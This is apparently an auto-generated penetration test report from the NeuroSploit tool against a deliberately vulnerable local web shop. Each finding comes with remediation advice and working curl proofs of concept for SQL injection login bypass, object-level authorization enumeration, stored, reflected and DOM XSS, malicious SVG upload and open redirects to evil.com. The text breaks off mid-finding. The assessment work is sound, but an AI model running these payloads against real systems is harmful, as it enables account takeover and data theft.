NeuroSploit

Penetration Test Report
AssetNimbusCart Inc
URL / targethttp://localhost:3000

Executive Summary

2
CRITICAL
4
HIGH
3
MEDIUM
0
LOW
0
INFO

Vulnerability Summary

#VulnerabilitySeverityStatusOWASP / CWE
1API BOLA via sequential numeric IDs at GET /api/v2/users/:id (any customer reads any user, incl. cleartext admin password)CriticalconfirmedA01:2021-Broken-Access-Control
2SQL Injection Authentication Bypass at POST /loginCriticalconfirmedA03:2021-Injection
3Unauthenticated arbitrary file upload at POST /support/ticket leading to stored XSS (SVG & HTML served inline in-origin)HighconfirmedA04:2021-Insecure-Design
4Stored XSS via product review `text` field, rendered unescaped at GET /shop/product/:idHighconfirmedA03:2021-Injection
5IDOR/BOLA on GET /account/invoice/:id — logged-in user views other customers' invoicesHighconfirmedA01:2021-Broken-Access-Control
6BOLA on GET /api/v2/orders/:id — any customer reads other customers' orders/invoicesHighconfirmedA01:2021-Broken-Access-Control
7Reflected XSS in `q` parameter at GET /shop/searchMediumconfirmedA03:2021-Injection
8DOM-based XSS via ?name= written to innerHTML on homepageMediumconfirmedA03:2021-Injection
9Sensitive Configuration & API Key Exposure at GET /config.jsonMediumconfirmedA05:2021-Security-Misconfiguration
10GET /go?url= reflects an attacker-supplied external host into the 302 Location header with no allowlistLowneeds-reviewA01:2021-Broken-Access-Control
11POST /login redirects a successfully-authenticated user to the `next` value; the absolute-URL filter is…Lowneeds-reviewA01:2021-Broken-Access-Control
12BOLA + excessive data exposure: customer JWT dumps any user's full record (plaintext password, apiKey) at GET…Lowneeds-reviewA01:2021-Broken-Access-Control
13POST /login accepted 25 failed attempts for one user with no 429, no Retry-After, no RateLimit-* header and…Lowneeds-reviewA07:2021-Auth-Failures
14The maxPrice value is concatenated into a backend SQL WHERE clause; an injected boolean expression is…Infoneeds-reviewA03:2021-Injection
15IDOR: any authenticated user reads any customer invoice at GET /account/invoice/:idInfoneeds-reviewA01:2021-Broken-Access-Control
16BOLA: JWT holder reads any user's order at GET /api/v2/orders/:idInfoneeds-reviewA01:2021-Broken-Access-Control
17Benign test account self-registered (capability for authenticated testing)Infoneeds-reviewA07:2021-Auth-Failures
18Test accounts created during the engagement (DELETE after)Infoneeds-reviewA04:2021-Insecure-Design

Findings (18)

Critical 1. API BOLA via sequential numeric IDs at GET /api/v2/users/:id (any customer reads any user, incl. cleartext admin password)

CriticalityCriticalStatusconfirmed
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence0/1 · refute 0/2 · conf 0.20
LocationGET http://localhost:3000/api/v2/users/:id
Agentapi_bola_numeric_ids

Where the problem is

GET http://localhost:3000/api/v2/users/:id — Path parameter `:id` (numeric) on GET /api/v2/users/:id. Endpoint authenticates the Bearer JWT but never checks the token's `id`/`role` against the requested `:id`. Response body also returns internal fields `password`, `apiKey` (BOPLA/excessive data).

What it means

MEASURED: any authenticated customer reads every user record (ids 1-38 enumerated) including username, email, cleartext password, role, balance and live apiKey. Using the read-out admin password the tester logged in as `admin` and loaded /admin (full 38-user table) — complete account takeover of the highest-privilege account, proven read-only. Full customer PII + credential database is readable by any signed-up user. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Enforce server-side object-level authorization on GET /api/v2/users/:id: reject unless token.id == :id (or token.role == 'admin'). Separately, stop serializing `password` and `apiKey` in any API response (return a DTO with only client-needed fields); store passwords hashed, never in plaintext. Rotate all leaked apiKeys and the admin password.

Proof of concept — step by step

  1. curl -s -o /dev/null -w '%{http_code}\n' http://localhost:3000/api/v2/users/1   # baseline: 401 (auth required)
  2. curl -s -c jar -X POST http://localhost:3000/register -d 'username=poc1&email=poc1@example.test&password=Pw!1'   # get a low-priv customer
  3. TOK=$(curl -s -b jar http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9_.-]+')   # customer JWT (role=customer)
  4. curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/users/1   # ATTACK: returns admin record incl cleartext password + apiKey
  5. curl -s -i -X POST http://localhost:3000/login -d 'username=admin&password=<leaked>'   # CHAIN: log in as admin
  6. curl -s -b <admin-cookie> http://localhost:3000/admin   # full admin panel / all users

Payload

Authorization: Bearer <any valid customer JWT>; GET /api/v2/users/1  (and /2../37 — arbitrary id)

Technical evidence

AGENT-RECORDED EVIDENCE
No token -> HTTP 401 {"error":"missing bearer token"}. With customer JWT (id=36): GET /api/v2/users/37 -> 200 {"id":37,"username":"nrsplt_b10346","email":"nr***@example.test","password":"Pa****!10346","apiKey":"nk_live_9647***",...}. GET /api/v2/users/1 -> 200 admin record {"id":1,"username":"admin","role":"admin","password":"Su************!2024","apiKey":"nk_live_51Hc9***","balance":500000}. Reverse (B token -> id 36) also 200. Repeated 2x, stable. CHAIN: leaked admin password -> POST /login admin -> GET /admin renders full user table (38 users). Screenshot: /opt/neurosploit-rs/runs/ns-1789870577-localhost_3000/evidence/bola-admin-takeover.png. PoC: pocs/bola_v2_users.sh

Proof screenshots

proof for API BOLA via sequential numeric IDs at GET /api/v2/users/:id (any customer reads any user, incl. cleartext admin password)
evidence/bola-v2-users-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

Critical 2. SQL Injection Authentication Bypass at POST /login

CriticalityCriticalStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-89Confidence0/1 · refute 1/2 · conf 0.20
LocationPOST http://localhost:3000/login
Agentlogin_sqli_bypass

Where the problem is

POST http://localhost:3000/login — POST /login, form field `username` (application/x-www-form-urlencoded). Password ignored once injection comments out the rest of the WHERE clause.

What it means

Full authentication bypass without credentials. Attacker obtains an authenticated session as the `admin` user (admin role badge, $500000 balance, access to /account/transfer, /account/change-email, /account/api-token). Proven by rendering the authenticated admin /account page. The injectable string terminator also indicates the query is exploitable for further SQLi (data extraction). Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Use a parameterised/prepared query for the credential lookup (bind username as a parameter); never string-concatenate input into SQL. Verify the password with a constant-time hash comparison server-side. Return a generic auth error.

Proof of concept — step by step

  1. curl -s -i -X POST http://localhost:3000/login -d 'username=nobody&password=wrong'   # baseline -> 302 /login?err=Invalid credentials
  2. curl -s -i -c /tmp/c.txt -X POST http://localhost:3000/login --data-urlencode "username=admin'-- -" --data-urlencode 'password=x'   # attack -> 302 /account
  3. curl -s -b /tmp/c.txt http://localhost:3000/account | grep -E 'BURPAT|badge admin|Balance'   # returns admin account + flag

Payload

username=admin'-- -  &  password=x

Technical evidence

AGENT-RECORDED EVIDENCE
Baseline `username=nobody&password=wrong` -> HTTP 302 Location: /login?err=Invalid%20credentials. Attack `username=admin'-- -` -> HTTP 302 Location: /account. GET /account with resulting nimbus.sid cookie returns authenticated admin page: '<div class="alert ok">Logged in via SQL injection auth bypass! Flag: BURPAT{web_sqli_login_bypass_e1ad1d9f}</div>', 'Balance: $500000.00', '<span class="badge admin">admin</span>'. Same request WITHOUT cookie -> 302 /login?next=%2Faccount. PoC: pocs/sqli_login_bypass.sh (run, passes). Screenshot: sqli-login-bypass-admin.png

Proof screenshots

proof for SQL Injection Authentication Bypass at POST /login
evidence/ns-001-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

High 3. Unauthenticated arbitrary file upload at POST /support/ticket leading to stored XSS (SVG & HTML served inline in-origin)

CriticalityHighStatusconfirmed
OWASP / CWEA04:2021-Insecure-Design · CWE-434Confidence0/1 · refute 1/2 · conf 0.20
LocationPOST http://localhost:3000/support/ticket ; files served at GET http://localhost:3000/uploads/<filename>
Agentfile_upload

Where the problem is

POST http://localhost:3000/support/ticket ; files served at GET http://localhost:3000/uploads/<filename> — POST /support/ticket, multipart/form-data file field `attachment`. No extension/content-type allowlist; file stored verbatim under the original name and served from /uploads/ with a matching executable Content-Type (image/svg+xml for .svg, text/html for .html) and NO Content-Disposition:attachment. CSP only sets `frame-ancestors 'self'` (no script-src), so scripts in the served document run in the localhost:3000 origin.

What it means

Any unauthenticated visitor can upload a file under an attacker-chosen name that is served same-origin with an executable Content-Type and no download-forcing header. A victim who opens the /uploads/<file> link runs attacker JavaScript in the http://localhost:3000 origin: this can read/steal any non-HttpOnly state, drive authenticated actions as the victim, and — because the session cookie nimbus.sid is HttpOnly but Secure=false/SameSite unset — perform CSRF-style same-origin requests. Measured: alert(document.domain) executed and document.title was rewritten from the served file. No RCE (PHP not executed on this Node stack). Uploaded links also appear in the public 'Recent public tickets' list on /support, so the malicious URL is discoverable, not just direct-link. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Server-side allowlist the accepted attachment types by BOTH extension and sniffed magic bytes (e.g. png/jpeg/pdf/txt only); reject svg/html/xml/php outright. Store uploads under randomly generated names (drop the client filename) in a location served with Content-Type: application/octet-stream AND Content-Disposition: attachment, or from a separate cookieless origin. Do not reflect image/svg+xml or text/html for user uploads. Add X-Content-Type-Options: nosniff and a script-src CSP.

Proof of concept — step by step

  1. MARK=nrsplt_fu_demo_$(date +%s)
  2. printf '<?xml version="1.0"?>\n<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain+\x27:%s\x27)">%s</svg>' "$MARK" "$MARK" > /tmp/$MARK.svg
  3. # Upload (no auth, no CSRF token required):
  4. curl -s -i -F "subject=$MARK" -F "body=$MARK" -F "attachment=@/tmp/$MARK.svg;type=image/svg+xml" http://localhost:3000/support/ticket   # -> 302 Location:/support
  5. # Fetch the stored file and read the Content-Type:
  6. curl -s -i http://localhost:3000/uploads/$MARK.svg   # -> 200, Content-Type: image/svg+xml, body intact
  7. # Confirm execution: open http://localhost:3000/uploads/$MARK.svg in a browser -> alert('localhost:'+MARK) fires in the localhost:3000 origin
  8. # Arbitrary type also works: repeat with a .html file -> served as text/html

Payload

attachment=@nrsplt_fu_1789871626.svg;type=image/svg+xml  with body: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain+':nrsplt_fu_1789871626')"><script>document.title='nrsplt_fu_1789871626'</script></svg>  (also proven with an arbitrary .html file served as text/html)

Technical evidence

AGENT-RECORDED EVIDENCE
Upload: POST /support/ticket (multipart, attachment=nrsplt_fu_1789871626.svg, type image/svg+xml) -> HTTP 302 Location:/support. Serve: GET /uploads/nrsplt_fu_1789871626.svg -> HTTP 200, Content-Type: image/svg+xml, no Content-Disposition, body returned byte-for-byte with active onload/<script> and marker. Browser (Playwright, Chromium) navigating that URL raised: alert dialog message = "localhost:nrsplt_fu_1789871626" and set document.title to the marker -> JS executed in the localhost:3000 origin. Second proof: arbitrary .html (nrsplt_htmlx_1789871707.html) uploaded -> served Content-Type: text/html -> browser navigation blocked by the file's own alert() (unhandled dialog), confirming script execution. PHP file (nrsplt_php_*.php) was stored and served as application/x-httpd-php but body returned as RAW SOURCE (not executed) -> no RCE on this Node/Express stack.

Proof screenshots

proof for Unauthenticated arbitrary file upload at POST /support/ticket leading to stored XSS (SVG & HTML served inline in-origin)
evidence/ns-fu-01-1.png

High 4. Stored XSS via product review `text` field, rendered unescaped at GET /shop/product/:id

CriticalityHighStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-79Confidence0/1 · refute 1/2 · conf 0.20
LocationPOST http://localhost:3000/shop/product/1/review
Agentxss_stored

Where the problem is

POST http://localhost:3000/shop/product/1/review — POST /shop/product/:id/review, form field `text` (textarea name="text"); reflected into the Reviews list `<div class="card"><div>…</div></div>` at GET /shop/product/:id with no HTML encoding

What it means

Measured: attacker-supplied JavaScript stored server-side and executed in the browser of every visitor of the product page (including unauthenticated visitors — the anonymous GET returns it raw), running in the http://localhost:3000 origin. The page sets session cookie nimbus.sid with HttpOnly=true, so document.cookie theft is blocked, but same-origin script can perform any authenticated action as the viewer (submit reviews, hit /account/* state-changing endpoints, read authenticated pages) and deface the page for all users. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

HTML-entity-encode review text on output when building the review card (the template engine's auto-escaping / a helper like escapeHtml), or render user text as textContent rather than raw HTML. Add a real CSP with a restrictive script-src (no 'unsafe-inline') as defense-in-depth. Do not rely on input filtering.

Proof of concept — step by step

  1. curl -s -c /tmp/j -b /tmp/j -X POST 'http://localhost:3000/register' --data-urlencode 'username=nrsplt_x' --data-urlencode 'email=nrsplt_x@example.test' --data-urlencode 'password=Nsplt!123' -o /dev/null   # get an authenticated session
  2. curl -s -c /tmp/j -b /tmp/j -X POST 'http://localhost:3000/shop/product/1/review' --data-urlencode 'text=<img src=x onerror="document.title=%27NSXSS_2903232123%27;window.NSXSS_2903232123=document.domain">'   # store payload
  3. curl -s 'http://localhost:3000/shop/product/1' | grep -oF '<img src=x onerror="document.title='   # Phase A: payload present unescaped, even without any cookie
  4. Open http://localhost:3000/shop/product/1 in a browser (or run pocs/stored_xss_product_review.sh) and observe the tab title change to NSXSS_2903232123 and window.NSXSS_2903232123 == 'localhost'   # Phase B: JS executed

Payload

<img src=x onerror="document.title='NSXSS_2903232123';window.NSXSS_2903232123=document.domain">

Technical evidence

AGENT-RECORDED EVIDENCE
Phase A (stored): anonymous GET /shop/product/1 returns the payload byte-for-byte inside a review card, unescaped: `<img src=x onerror="document.title='NSXSS_2903232123';window.NSXSS_2903232123=document.domain">`. Phase B (executes): headless Chromium load of /shop/product/1 -> document.title became 'NSXSS_2903232123' and window.NSXSS_2903232123 === 'localhost' (document.domain), proving the injected JS ran in page origin. Response CSP is only `Content-Security-Policy: frame-ancestors 'self'` (no script-src), so inline handlers execute. Submit endpoint returns 302 -> /shop/product/1.

Proof screenshots

proof for Stored XSS via product review `text` field, rendered unescaped at GET /shop/product/:id
evidence/stored-xss-product-review-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

High 5. IDOR/BOLA on GET /account/invoice/:id — logged-in user views other customers' invoices

CriticalityHighStatusconfirmed
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence0/1 · refute 1/2 · conf 0.20
LocationGET http://localhost:3000/account/invoice/:id
Agentbola

Where the problem is

GET http://localhost:3000/account/invoice/:id — Path parameter `:id` in GET /account/invoice/:id (session cookie `nimbus.sid`). Auth gate present (302 to /login when anonymous) but no per-object ownership check.

What it means

Measured: attacker's authenticated session rendered invoices 1001/1002/1003 belonging to alice/bob/carol, disclosing customer name and charged total per invoice. Sequential ids permit harvesting all customers' invoices via the web UI (no API token needed). Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

In the invoice route, after fetching the invoice/order, verify its owner userId matches the session user id (or the session has an admin role) before rendering; return 403/404 otherwise.

Proof of concept — step by step

  1. curl -s -c j -d 'username=poc3&email=poc3@example.test&password=Pw!poc3' http://localhost:3000/register -o /dev/null
  2. # attack: curl -s -b j http://localhost:3000/account/invoice/1001 | sed -e 's/<[^>]*>//g' | grep -iE 'invoice #|customer|total'
  3. # repeat 1002 (bob), 1003 (carol)
  4. # control: curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' http://localhost:3000/account/invoice/1001  # 302 -> /login
  5. # read result: page shows 'Customer: alice/bob/carol' and totals not belonging to the logged-in user

Payload

Cookie: nimbus.sid=<attacker session>; GET /account/invoice/1001

Technical evidence

AGENT-RECORDED EVIDENCE
As logged-in attacker (nrsplt_a_82): GET /account/invoice/1001 -> 200 renders 'Invoice #1001 ... Customer: alice ... Total: $29.99' with app's own message 'IDOR confirmed: viewing another customer's invoice (owner: alice) without authorization. Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. 1002 -> Customer: bob $89.99; 1003 -> Customer: carol $349.00. CONTROL: no session -> 302 Location /login?next=%2Faccount%2Finvoice%2F1001. Non-existent id 1000 -> 404 'Invoice not found'.

High 6. BOLA on GET /api/v2/orders/:id — any customer reads other customers' orders/invoices

CriticalityHighStatusconfirmed
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence0/1 · refute 1/2 · conf 0.20
LocationGET http://localhost:3000/api/v2/orders/:id
Agentbola

Where the problem is

GET http://localhost:3000/api/v2/orders/:id — Path parameter `:id` in GET /api/v2/orders/:id. Requires Bearer JWT but ignores whether order.userId == token.id.

What it means

Measured: attacker customer (id 39) retrieved orders 1001/1002/1003 belonging to users 2/3/4 (alice/bob/carol) — line items, totals, and internal invoiceNotes. Sequential ids (1001+) allow enumerating all customers' order history and shipping/billing notes. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Add object-level authorization to the orders handler: after loading the order, verify order.userId === req.token.id (or admin) before returning; otherwise respond 403/404. Prefer non-sequential/opaque order ids as defense-in-depth.

Proof of concept — step by step

  1. curl -s -c j -d 'username=poc2&email=poc2@example.test&password=Pw!poc2' http://localhost:3000/register -o /dev/null
  2. T=$(curl -s -b j http://localhost:3000/account/api-token | grep -Eo 'eyJ[A-Za-z0-9_.-]+' | head -1)
  3. # attack: curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/orders/1001
  4. # repeat for 1002, 1003 (bob, carol)
  5. # control: curl -s http://localhost:3000/api/v2/orders/1001  # -> 401
  6. # read result: returned order shows userId != 39, i.e. another customer's order data

Payload

Authorization: Bearer <attacker customer JWT>; GET /api/v2/orders/1001

Technical evidence

AGENT-RECORDED EVIDENCE
Attacker id=39. GET /api/v2/orders/1001 -> 200 {"id":1001,"userId":2,"items":[{"productId":1,"qty":1}],"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"} (owner userId 2=alice). 1002 -> userId 3 (bob) total 89.99. 1003 -> userId 4 (carol) total 349 w/ internal note 'VIP customer, unlimited return window'. CONTROL: no token -> 401. Attacker owns none of these (own order lookup 404). Reproduced x2 identical.

Medium 7. Reflected XSS in `q` parameter at GET /shop/search

CriticalityMediumStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-79Confidence0/1 · conf 0.20
Locationhttp://localhost:3000/shop/search?q=
Agentxss_reflected

Where the problem is

http://localhost:3000/shop/search?q= — GET /shop/search, query parameter `q`, echoed into HTML body inside `<p class="lead">Showing results for: <q></p>`

What it means

Measured: attacker-supplied HTML/JS in the `q` parameter executes in the victim's browser in the localhost:3000 origin when the victim opens a crafted link. Since the session cookie nimbus.sid is HttpOnly, document.cookie theft is limited, but the script runs with full access to the authenticated DOM/session — can perform actions as the victim (add to cart, submit forms, read authenticated page content, drive the /api/v2 or /api/graphql calls the page can make), phishing, and defacement. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

HTML-entity-encode `q` before inserting into the response template (e.g. contextual output encoding / auto-escaping template engine) instead of raw string interpolation. Additionally tighten CSP to include a restrictive `script-src` (drop 'unsafe-inline') so injected inline handlers cannot run as defence-in-depth.

Proof of concept — step by step

  1. curl -s 'http://localhost:3000/shop/search?q=xss1337test' | grep 'results for'   # baseline: canary reflected unencoded
  2. curl -s 'http://localhost:3000/shop/search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(0x1337)%3E' | grep 'results for'   # attack: payload reflected as a live <img> tag
  3. Open the attack URL in a browser: http://localhost:3000/shop/search?q=<img src=x onerror=alert(0x1337)>  -> alert dialog showing 4919 fires (onerror executed)
  4. Automated check: bash pocs/reflected_xss_search.sh

Payload

<img src=x onerror=alert(0x1337)>

Technical evidence

AGENT-RECORDED EVIDENCE
Baseline: `curl 'http://localhost:3000/shop/search?q=xss1337test'` -> body contains `<p class="lead">Showing results for: xss1337test</p>` (canary reflected, HTTP 200, Content-Type text/html). Attack: `q=<img src=x onerror=alert(0x1337)>` reflected verbatim as a LIVE tag: `<p class="lead">Showing results for: <img src=x onerror=alert(0x1337)></p>` — no HTML entity encoding (source even comments `reflected without encoding`). Response CSP is only `Content-Security-Policy: frame-ancestors 'self'` (no script-src/default-src), so execution is not blocked. Browser proof: headless Chromium (Playwright) navigating the attack URL fired a JS dialog with message `4919` (== 0x1337), confirming onerror executed. Screenshot: reflected-xss-search.png.

Proof screenshots

proof for Reflected XSS in `q` parameter at GET /shop/search
evidence/xss-reflected-shop-search-q-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

Medium 8. DOM-based XSS via ?name= written to innerHTML on homepage

CriticalityMediumStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-79Confidence0/1 · conf 0.20
Locationhttp://localhost:3000/?name=
Agentxss_dom

Where the problem is

http://localhost:3000/?name= — GET / , query param `name`. app.js function renderGreeting(): source = new URLSearchParams(window.location.search).get("name"); sink = document.getElementById("greeting").innerHTML = "Welcome back, " + name + "! Check out today's deals."

What it means

Attacker-supplied JavaScript executes in the http://localhost:3000 origin for any victim who opens a crafted /?name=... link. Measured: onerror handler ran, read document.domain (localhost), and could set window state. Session cookie nimbus.sid is HttpOnly so document.cookie theft is blocked, but in-origin JS can still perform authenticated actions as the victim (call /api/* with their session), read/rewrite page DOM, and phish. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Do not build HTML from the parameter. Replace `el.innerHTML = "Welcome back, " + name + ...` with textContent: set a static text node and insert `name` via `el.textContent` / document.createTextNode, or HTML-encode `name` before insertion. Add a CSP that forbids inline event handlers (script-src without 'unsafe-inline') as defense in depth.

Proof of concept — step by step

  1. Baseline: curl -s 'http://localhost:3000/app.js' | grep -A3 innerHTML  # shows el.innerHTML = "Welcome back, " + name
  2. Attack (browser required — sink is client-side): open http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3D%22alert(document.domain)%22%3E in Chromium
  3. Observe: alert box shows 'localhost' -> JS executed in origin http://localhost:3000
  4. Automated proof: NODE_PATH=/private/var/root/.npm/_npx/9833c18b2d85bc59/node_modules node /opt/neurosploit-rs/runs/ns-1789870577-localhost_3000/pocs/dom-xss-name.js  # prints 'dialog fired with: localhost'

Payload

http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3D%22alert(document.domain)%22%3E

Technical evidence

AGENT-RECORDED EVIDENCE
app.js source: `var name = params.get("name"); if(name){ el.innerHTML = "Welcome back, " + name + "! ..."; }` — attacker string concatenated straight into innerHTML, no encoding/sanitization. Headless Chromium load of the payload URL: onerror handler executed — dialog fired with message "localhost", JS marker window.__NSXSS="localhost" set at runtime. Rendered DOM: `Welcome back, <img src="x" onerror="window.__NSXSS=document.domain;alert(document.domain)">! Check out today's deals.`

Proof screenshots

proof for DOM-based XSS via ?name= written to innerHTML on homepage
evidence/domxss-name-innerhtml-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

Medium 9. Sensitive Configuration & API Key Exposure at GET /config.json

CriticalityMediumStatusconfirmed
OWASP / CWEA05:2021-Security-Misconfiguration · CWE-200Confidence0/1 · receipt_missing · conf 0.20
LocationGET http://localhost:3000/config.json
Agentlogin_sqli_bypass

Where the problem is

GET http://localhost:3000/config.json — Static file /config.json, JSON keys `supportApiKey` and `analyticsKey` served to any unauthenticated client.

What it means

Unauthenticated retrieval of a live-prefixed support API key (`nk_live_...`) and the flag confirming the leak. The key is a credential for the support API; disclosure allows impersonating the app to that service. (Key value masked in this report; full value stored in the run.) Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Do not ship secrets in client-served static files. Move server-side secrets to environment/secret store; serve the client only non-sensitive public config. Rotate the exposed `supportApiKey` immediately.

Proof of concept — step by step

  1. curl -s http://localhost:3000/config.json   # returns supportApiKey nk_live_... and flag BURPAT{api_key_leak_config_9d22dadf}

Payload

GET /config.json

Technical evidence

AGENT-RECORDED EVIDENCE
HTTP 200 body: {"apiBaseUrl":"https://api.nimbuscart.test/v2","env":"qa","analyticsKey":"UA-NIMBUS-00000","supportApiKey":"nk_live_51Hc9admin[REDACTED]_share","_flagIfLeaked":"BURPAT{api_key_leak_config_9d22dadf}"}. The bundle self-flags leakage.

Low 10. GET /go?url= reflects an attacker-supplied external host into the 302 Location header with no allowlist NEEDS REVIEW

CriticalityLowStatusneeds-review
OWASP / CWEA01:2021-Broken-Access-Control · CWE-601Confidence0/1 · conf 0.05
Locationhttp://localhost:3000/go
Agentopen_redirect
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential

Where the problem is

http://localhost:3000/go — GET /go, query parameter `url` (e.g. /go?url=https://evil.com)

What it means

Observed: - GET /go?url=https://evil.com -> HTTP 302, Location: https://evil.com [E01] - GET /go?url=//evil.com -> HTTP 302, Location: //evil.com [E02] - GET /go?url=/account -> HTTP 302, Location: http://localhost:3000/account (control, internal) [E03] Not demonstrated: victim browser navigates to attacker host. Potential impact: Phishing/credential theft and trust abuse; can be chained into OAuth redirect_uri theft if this endpoint is used as a return target.

How to fix it

Do not pass user input straight into Location. Restrict `url` to a server-side allowlist of permitted hosts, or accept only relative paths — reject any value starting with a scheme, `//`, `\`, or containing `@`/an external host. Redirect to a mapped internal key rather than a raw URL.

Proof of concept — step by step

  1. curl -s -i 'http://localhost:3000/go?url=/account'   # baseline: internal 302 to /account
  2. curl -s -i 'http://localhost:3000/go?url=https://evil.com'   # attack: read the Location header
  3. Observe: HTTP/1.1 302 Found and Location: https://evil.com (external host)
  4. curl -s -i 'http://localhost:3000/go?url=//evil.com'   # protocol-relative variant also works

Payload

url=https://evil.com  (also url=//evil.com)

Technical evidence

AGENT-RECORDED EVIDENCE
Request: GET /go?url=https://evil.com -> HTTP/1.1 302 Found; Location: https://evil.com; body 'Found. Redirecting to https://evil.com'. Protocol-relative variant GET /go?url=//evil.com -> 302; Location: //evil.com (curl-resolved http://evil.com/). Control GET /go?url=/account -> 302 Location http://localhost:3000/account (stays internal), proving the param drives the destination with no host allowlist. PoC: pocs/open_redirect_go.sh

Runnable script (extra)

The steps above are the proof; this script automates them.

Low 11. POST /login redirects a successfully-authenticated user to the `next` value; the absolute-URL filter is… NEEDS REVIEW

CriticalityLowStatusneeds-review
OWASP / CWEA01:2021-Broken-Access-Control · CWE-601Confidence0/1 · conf 0.05
Locationhttp://localhost:3000/login
Agentopen_redirect
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential

Where the problem is

http://localhost:3000/login — POST /login, hidden form field `next` (rendered as <input type=hidden name=next>); value //evil.com

What it means

Observed: - POST /login next=//evil.com (valid creds) -> HTTP 302, Location: //evil.com [E01] - POST /login next=https://evil.com (valid creds) -> HTTP 302, Location: http://localhost:3000/account (filtered control) [E02] - POST /login next=//evil.com repeated -> HTTP 302, Location http://evil.com/ [E03] Not demonstrated: victim browser navigates to attacker host after login. Potential impact: Post-authentication phishing and trust abuse; higher value than /go because the victim has just proven they trust the site by logging in.

How to fix it

Apply the same allowlist/relative-only rule to `next` as to /go. Reject values beginning with `//`, `\`, a scheme, or containing `@`; the existing check only blocks `scheme://`. Prefer resolving `next` against the app origin and confirming the resulting host equals the app host before redirecting.

Proof of concept — step by step

  1. curl -s -o /dev/null -A NeuroSploit http://localhost:3000/register --data-urlencode 'username=nrsplt_t' --data-urlencode 'email=nrsplt_t@example.test' --data-urlencode 'password=Nrsplt!123'   # create test user
  2. curl -s -i 'http://localhost:3000/login' --data-urlencode 'username=nrsplt_t' --data-urlencode 'password=Nrsplt!123' --data-urlencode 'next=https://evil.com'   # control: filtered -> Location /account
  3. curl -s -i 'http://localhost:3000/login' --data-urlencode 'username=nrsplt_t' --data-urlencode 'password=Nrsplt!123' --data-urlencode 'next=//evil.com'   # attack: read Location header
  4. Observe: HTTP/1.1 302 Found and Location: //evil.com (external host)

Payload

username=<valid>&password=<valid>&next=//evil.com

Technical evidence

AGENT-RECORDED EVIDENCE
After a SUCCESSFUL login the server 302s to `next`. Absolute next=https://evil.com is filtered -> 302 Location http://localhost:3000/account. Protocol-relative next=//evil.com BYPASSES the filter -> HTTP/1.1 302 Found; Location: //evil.com (curl-resolved http://evil.com/). Reproduced twice. PoC: pocs/open_redirect_login_next.sh

Runnable script (extra)

The steps above are the proof; this script automates them.

Low 12. BOLA + excessive data exposure: customer JWT dumps any user's full record (plaintext password, apiKey) at GET… NEEDS REVIEW

CriticalityLowStatusneeds-review
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence0/1 · conf 0.05
Locationhttp://localhost:3000/api/v2/users/1
Agentidor
⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity

Where the problem is

http://localhost:3000/api/v2/users/1 — GET /api/v2/users/:id — numeric :id. Valid Bearer JWT required, but no ownership/role check, and the response serializes the entire user row (password, apiKey, role, balance).

What it means

